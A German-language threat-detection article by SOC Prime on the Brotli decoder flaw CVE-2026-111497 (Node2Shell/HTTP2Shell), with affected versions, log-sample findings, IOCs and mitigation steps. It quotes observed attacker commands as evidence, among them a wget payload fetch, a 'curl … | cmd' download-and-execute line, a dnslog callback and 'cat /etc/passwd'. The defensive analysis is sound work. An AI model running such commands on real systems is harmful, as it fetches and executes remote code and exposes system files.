Node2ShellFHTTP2Shell-Erkennung

Node2ShellFHTTP2Shell-Erkennung

SOC Prime Team
SOC Prime Team linkedin icon Folgen

Die Erkennung von Node2Shell/HTTP2Shell ist schwieriger als es aussieht, da die Schwachstelle nicht auf ein Produkt beschränkt ist. Node2Shell, auch HTTP2Shell genannt, ist CVE-2026-111497: ein Schreibzugriff außerhalb der Grenzen im Brotli-C-Decoder von Google, Versionen 1.0.3 bis 1.2.0, bewertet mit CVSS 4.0 9.2. Da sich der Fehler in einer gemeinsamen Komprimierungsbibliothek befindet, betrifft er Node.js, Python-Brotli-Pakete, Bun, curl, Envoy und andere Software, die Brotli dekodiert.

Dieser Artikel behandelt die Erkennung von Node2Shell/HTTP2Shell anhand eines Protokollbeispiels, das in LogTotal, einem Protokollanalysetool, analysiert wird und Ereignisse mit bekannten Bedrohungen abgleicht. Im Folgenden behandeln wir den Kontext der Schwachstelle, die Protokollquelle, was LogTotal gemeldet hat und wie man darauf reagiert.

Kostenlos beginnen

Analyse von Node2Shell (HTTP2Shell)

Der anfällige Code befindet sich in den Brotli-C-Decoder-Versionen 1.0.3 bis 1.2.0. Google, als Nummerierungsautorität, bewertete ihn unter CVSS 4.0 mit 9.2, während Node.js ihn als Hoch einstuft. Um das Protokollbeispiel richtig zu lesen, ist es nützlich zu wissen, wie der Fehler ausgelöst wird, wie die Offenlegung verlief und welche Softwareversionen und Konfigurationen betroffen sind.

Details zur Schwachstelle von Node2Shell

Ein Brotli-Stream, der einen einzigen Blocktyp deklarierte und dann die Blöcke wechselte, wurde nicht abgelehnt, sodass die Dekodierung in einem ungültigen Zustand fortgesetzt wurde und über einen Puffer hinaus schrieb. Jeder Prozess, der von einem Angreifer kontrollierte Brotli-Daten dekomprimiert, kann in zwei Richtungen getroffen werden:

  • Eingehend: ein manipulierter Brotli-komprimierter HTTP-Anfragekörper, der an einen Server gesendet wird, der ihn dekodiert.
  • Ausgehend: eine manipulierte Antwort, die an einen Client zurückgegeben wird, der sie abruft.

Der Fehler hat mehrere Namen. Node2Shell kam zuerst heraus, weil Node.js ihn zuerst bekannt machte und behob. HTTP2Shell spiegelt wider, dass er jeden Stack erreicht, der Brotli über HTTP dekodiert, und einige Berichterstattungen verwenden auch Python2Shell und Broccoli2Shell.

Zeitachse der Offenlegung und Ausnutzung

Datum (2026)Ereignis
27. OktoberCISA fügte die CVE ihrem KEV-Katalog hinzu; US-Bundesbehörden müssen bis zum 10. November einen Patch vornehmen
26. OktoberAusnutzung in diesem Beispiel auf app-node-01 protokolliert
25. OktoberMicrosoft veröffentlichte Out-of-Band .NET-Fixes
22. OktoberCVE veröffentlicht; Codeausführung öffentlich auf Node.js 24.22.0 gezeigt; Bun 1.4.4 freigegeben
21. OktoberNode.js-Offenlegung und behobene Versionen; Brotli 1.0.10, 1.1.1 und 1.2.1 freigegeben
27. FebruarFix zu google/brotli hinzugefügt, ohne Veröffentlichung oder Hinweis

Der Fehler selbst wurde im März 2018 in Brotli 1.0.3 geliefert. Khai Tran und Sylvie Mayer von OpenAI Codex Security meldeten ihn an Node.js. Es existiert ein öffentliches Proof-of-Concept, Imperva und ELLIO reproduzierten beide die Code-Ausführung gegen offizielle Node.js-Builds, und Scanner, die ermitteln, welche Hosts Brotli dekomprimieren, sind bereits im Einsatz. Eine Codeausführung wurde für die Python-Pakete nicht gezeigt, obwohl sie bei bösartigen Eingaben abstürzen, wie der Absturz von web-prod-01 in diesem Beispiel zeigt.

Node2Shell betroffene Versionen und Fixes

KomponenteBehoben in
Node.js 26.x / 24.x / 22.x26.12.1 / 24.22.1 / 22.23.4
Node.js 20.x und anderen nicht mehr unterstützten LinienKein Fix; auf eine unterstützte Linie wechseln
Bun1.4.4
Google Brotli Bibliothek1.0.10, 1.1.1, 1.2.1
PyPI brotli / brotlicffi1.2.1 / 1.2.1.0
.NET Laufzeit 8 / 9 / 108.0.33 / 9.0.22 / 10.0.14
Envoy1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0
Istio1.29.9, 1.30.6, 1.31.2
Java brotli4j / Ruby brotli-Bibliothek1.24.0 / 0.9.1

Eine anfällige Version wird nur offengelegt, wenn Angreifer-Daten den Decoder erreichen können. In Node.js besteht dieser Pfad durch Express 5, body-parser 2.x, die Koa-Body-Parser, @fastify/compress mit Anforderungsdekompression, fetch() und direkte node:zlib Brotli-Aufrufe. In Python verwenden requests, httpx, aiohttp und Scrapy das Brotli- oder brotlicffi-Paket, wann immer es installiert ist. In .NET ist die Brotli-Dekompression standardmäßig deaktiviert, und Envoy und Istio sind nur mit aktiviertem Brotli-Dekompressor ausgesetzt. curl dekodiert Brotli nur mit –compressed über das System-Libbrotli, daher benötigt es ein gepatchtes Distributionspaket; Debian und Red Hat haben bereits gefixte Versionen ausgeliefert.

Protokollquelle und Sammlung

AttributWert
DateiNode2Shell_HTTP2Shell_sample-sanitized.jsonl
Ereignisse11
Zeitfenster26. Oktober 2026, 11:30:55 bis 11:33:05 UTC
SchemaECS-Stil
Quellen4 Klartext-Linux-Kernel- und systemd-coredump-Nachrichten; 7 Microsoft Defender für Endpoint-Prozess-Generierungsevents

Hosts im Beispiel

Drei Hosts erscheinen in den Rohdaten auf zwei Betriebssystemen. Jeder zeigt einen anderen Teil der Node2Shell-Exposition.

HostOSLaufzeitAktivität in den Protokollen
app-node-01LinuxNode.js-Anwendung /opt/app/server.jsBrotli-Absturz, gefolgt von Post-Exploitation-Befehlen
web-prod-01LinuxPython-ProzessAbsturz in _brotli.cpython-311
win-dev-01WindowsNode.js-Anwendung C:Usersdevuserappserver.jsDownload-und-Ausführen, versteckte PowerShell

Node2Shell (HTTP2Shell) erkennen

LogTotal verarbeitete 11 Zeilen in 5,3 Sekunden und stimmte 23 Regeln auf 10 Zeilen ab. Es bildete 2 Ketten, meldete 1 und filterte 1 beim AI-Verifikationsschritt aus.

Urteil FeldErgebnis
UrteilVerdächtig, bedarf Untersuchung
SchwereHoch
VertrauenMittel

Die gemeldete Kette ist Node2Shell / HTTP2Shell ist eine kritische Schwachstelle (CVE-2026-111497): Hoch, 100%-Übereinstimmung, 2 Regeln ausgelöst. Es sitzt auf einem pseudonymisierten Host zwischen 11:30 und 11:31 UTC, und dieses Fenster und die Beweise stimmen mit app-node-01 überein.

Ausnutzung: der Brotli-Decoder-Absturz

Die Regel „Möglicher CVE-2026-111497 (HTTP2Shell / Node2Shell) Ausnutzungsversuch – Brotli-Decoder-Nativer Absturz“ stimmte mit einem Node-Absturz in libbrotlidec.so.1.1.0 überein. Der Core-Dump-Stack wird von BrotliDecoderDecompressStream abgeschlossen.

Der Bericht ordnet diesen Absturz einem Denial-of-Service (T1499.004) zu, aus dem auch die Impact-Stufe stammt. Der letzte Treffer der Regel, um 11:33, fällt auf den python3-Absturz in _brotli.cpython-311 auf web-prod-01, was zeigt, wie dieselbe Bibliothek in einer zweiten Laufzeit versagt.

Post-Exploitation auf Linux

„Verdächtige NodeJS-Kindprozesse [Linux]“ wurde 4 Mal ausgelöst, als node /opt/app/server.js gestartet wurde:

  • curl ruft das öffentliche C3Pool-XMRig-Miner-Setup-Skript ab
  • wget http://198.51.100.23:3000/s.sh
  • ping -c 1 5axzi7.dnslog.cn, ein Out-of-Band-Rückruf-Check
  • cat /etc/passwd

Post-Exploitation auf Windows, außerhalb der Kette

Die Windows-Hälfte des Beispiels liegt außerhalb der gemeldeten Kette, verdient jedoch die gleiche Aufmerksamkeit. Auf win-dev-01 startete node.exe cmd.exe /c „curl -s https://198.51.100.23/api/w | cmd“, ein Download-und-Ausführen-Muster, und danach eine versteckte powershell.exe, die whoami ausführte.

Regeln, die bei dieser Aktivität ausgelöst wurden, umfassen Verdächtige NodeJS-Kindprozesse [Windows], Inhalte von Stdin über Cmd.EXE lesen und Verdächtige PowerShell-Cmdlets. Die herausgefilterte Kette, Meet AvisLoader: Ein Windows-Loader, der zur Überdauertung eines Takedowns entwickelt wurde (Hoch), wurde durch die curl-Ausführungen angetrieben.

Node2Shell IOCs aus diesem Beispiel

IndikatorTypKontext
198.51.100.23IPPayload-Host für s.sh (Port 3000) und /api/w (HTTPS)
http://198.51.100.23:3000/s.shURLSkript von wget auf app-node-01 abgerufen
https://198.51.100.23/api/wURLAn cmd auf win-dev-01 weitergeleitet
5axzi7.dnslog.cnDomainOut-of-Band-Rückruf über ping
C3Pool XMRig Miner Setup-SkriptDownloadVon curl aus node abgerufen
libbrotlidec.so.1.1.0 mit BrotliDecoderDecompressStream im StackAbsturz-SignaturNode.js-Ausnutzungsversuch
_brotli.cpython-311-AbsturzAbsturz-SignaturPython-Ausnutzungsversuch
Knoten / node.exe, die curl, wget, ping, cat, cmd.exe, powershell.exe startenProzessstammbaumPost-Exploitation

Verwendung von LogTotal-Ergebnissen in der Node2Shell-Triage

Beginnen Sie mit der gemeldeten Kette, um die Ausnutzung auf app-node-01 zu bestätigen, und arbeiten Sie dann jeden außerhalb der Kette liegenden Fund durch. In diesem Beispiel weisen die Regeln außerhalb der Kette und die gefilterte Kette auf zwei weitere betroffene Hosts hin, nämlich web-prod-01 und win-dev-01.

Node2Shell (HTTP2Shell) Minderung

Nur das Patching von Node.js schließt Node2Shell nicht, da der Fehler im gemeinsamen Brotli-Decoder liegt. Jede Laufzeit oder jeder Proxy, der Brotli dekodiert, benötigt ein Update, und jeder Host im Beispiel muss erfasst werden.

Jeden Brotli-Verbraucher patchen

  1. Dienste auf Node.js unter 22.23.4, 24.22.1 oder 26.12.1, auf einer Linie von Node.js am Lebensende oder auf Bun unter 1.4.4 finden, einschließlich Basis-Images und Build-Hosts.
  2. Zuerst die Dienste patchen, die Anforderungsnachrichten dekomprimieren (Express 5, body-parser 2.x, die Koa-Body-Parser, @fastify/compress), von Benutzern bereitgestellte URLs abrufen oder nicht vertrauenswürdige Daten an node:zlib Brotli-Funktionen weiterleiten.
  3. Laufzeit aktualisieren, dann Prozesse neu starten und Container-Images neu erstellen, einschließlich eigenständiger .NET-Apps und mit bun build –compile erstellten Binärdateien.
  4. PyPI brotli auf 1.2.1 und brotlicffi auf 1.2.1.0 aktualisieren und die .NET-Laufzeit, Envoy, Istio und die Distributionsbrotli-Pakete aktualisieren.
  5. Von Node.js 20 und anderen nicht mehr unterstützten Linien wegziehen, die keinen Fix erhalten.
  6. Bis Patches ausgeliefert werden, Content-Encoding: br am WAF oder Proxy ablehnen, es ohne Berücksichtigung der Groß- und Kleinschreibung und in Listen wie „gzip, br“ ausgleichen. Dies deckt keine über fetch() gelesenen Brotli-Antworten ab.

Von LogTotal empfohlene Reaktion

  1. Den Host isolieren.
  2. Prozess-, System- und Netzwerkinformationen für 11:30–11:33 UTC sammeln.
  3. Das Node.js-Patchniveau verifizieren: 22.23.4, 24.22.1 oder 26.12.1.
  4. Nicht autorisierte Binärdateien entfernen.
  5. Unvertrauenswürdige Content-Encoding: br am WAF ablehnen.
  6. Node.js unprivilegiert ausführen.
  7. Automatische Brotli-Dekompression, wo möglich, deaktivieren.

Zusätzliche Schritte aus den Rohbeweisen

  1. Den Umfang erweitern auf win-dev-01 und web-prod-01, nicht nur auf app-node-01.
  2. Am Ausgang blockieren 198.51.100.23 und *.dnslog.cn.
  3. Nach einem Miner suchen: Cron-Einträgenumer, systemd-Einheiten und ein laufender xmrig-Prozess.
  4. Annehmen, dass /etc/passwd gelesen wurde und Konten entsprechend überprüfen.
  5. Hunting nach node, node.exe oder python3, die Shells, Downloader oder Netzwerktools starten.

Laufende Node2Shell-Überwachung

Kern- und systemd-coredump-Nachrichten zusammen mit EDR-Prozessereignissen weiterleiten. In diesem Beispiel war der coredump-Stack der einzige direkte Nachweis für eine Ausnutzung, und die EDR-Ereignisse trugen alles, was folgte.

FAQ

Was ist Node2Shell (HTTP2Shell) und wie funktioniert es?

Node2Shell, auch HTTP2Shell genannt, ist CVE-2026-111497: ein Schreibzugriff außerhalb der Grenzen im Brotli-C-Decoder von Google, Versionen 1.0.3 bis 1.2.0, bewertet mit CVSS 4.0 9.2. Manipulierte Brotli-Daten können jeden Prozess abstürzen lassen, der sie dekomprimiert, und in Node.js wurde gezeigt, dass sie zu einer Remote-Code-Ausführung führen kann. Der Analyseabschnitt oben erklärt, wie es funktioniert.

Wann wurde Node2Shell erstmals entdeckt?

Khai Tran und Sylvie Mayer von OpenAI Codex Security fanden den Fehler und meldeten ihn an Node.js. Er stammt aus Brotli 1.0.3 vom März 2018. Ein Fix wurde am 27. Februar 2026 upstream hinzugefügt, ohne Veröffentlichung, und Node.js stellte die Schwachstelle am 21. Oktober 2026 offen.

Was ist die Auswirkung von Node2Shell auf Systeme?

Der Absturz selbst ist ein Denial-of-Service, und die nachfolgende Aktivität zeigt eine Code-Ausführung im Kontext des verwundbaren Prozesses. In diesem Beispiel bedeutete das einen Download eines Kryptominierzurgabenskriptes, einen Payload-Abruf, einen Out-of-Band-DNS-Rückruf, das Lesen von /etc/passwd und Download-und-Ausführung auf einem Windows-Host.

Kann Node2Shell mich 2026 noch betreffen?

Ja. CVE-2026-111497 wird in freier Wildbahn ausgenutzt und ist im KEV-Katalog der CISA gelistet. Nicht gepatchte Node.js-, Bun-, Python-, .NET- und Proxy-Implementierungen bleiben exponiert, und Node.js 20 und andere nicht mehr unterstützte Linien werden nie einen Fix erhalten.

Wie kann ich mich vor Node2Shell schützen?

Node.js und jeden anderen Brotli-Verbraucher patchen, Prozesse neu starten und Images neu erstellen. Bis dahin Content-Encoding: br am WAF oder Proxy ablehnen und automatische Brotli-Dekompression, wo möglich, deaktivieren. Der Abschnitt zu Maßnahmen listet die vollständigen Schritte auf.

Wie kann ich Node2Shell erkennen?

Kern- und systemd-coredump-Protokolle zusammen mit EDR-Prozessereignissen von jedem Node.js- und Python-Host sammeln. Bei Brotli-Decoder-Abstürzen und Anwendungen, die Shells oder Downloader starten, Alarm auslösen. LogTotal ordnet diese Ereignisse der Node2Shell-Kette zu, aber überprüfen Sie auch Befunde außerhalb der Kette, da sie hier zwei zusätzliche Hosts aufdeckten.

Treten Sie der Detection as Code-Plattform von SOC Prime bei um die Sichtbarkeit der für Ihr Unternehmen relevantesten Bedrohungen zu verbessern. Um Ihnen den Einstieg zu erleichtern und unmittelbaren Mehrwert zu erzielen, buchen Sie jetzt ein Treffen mit den Experten von SOC Prime.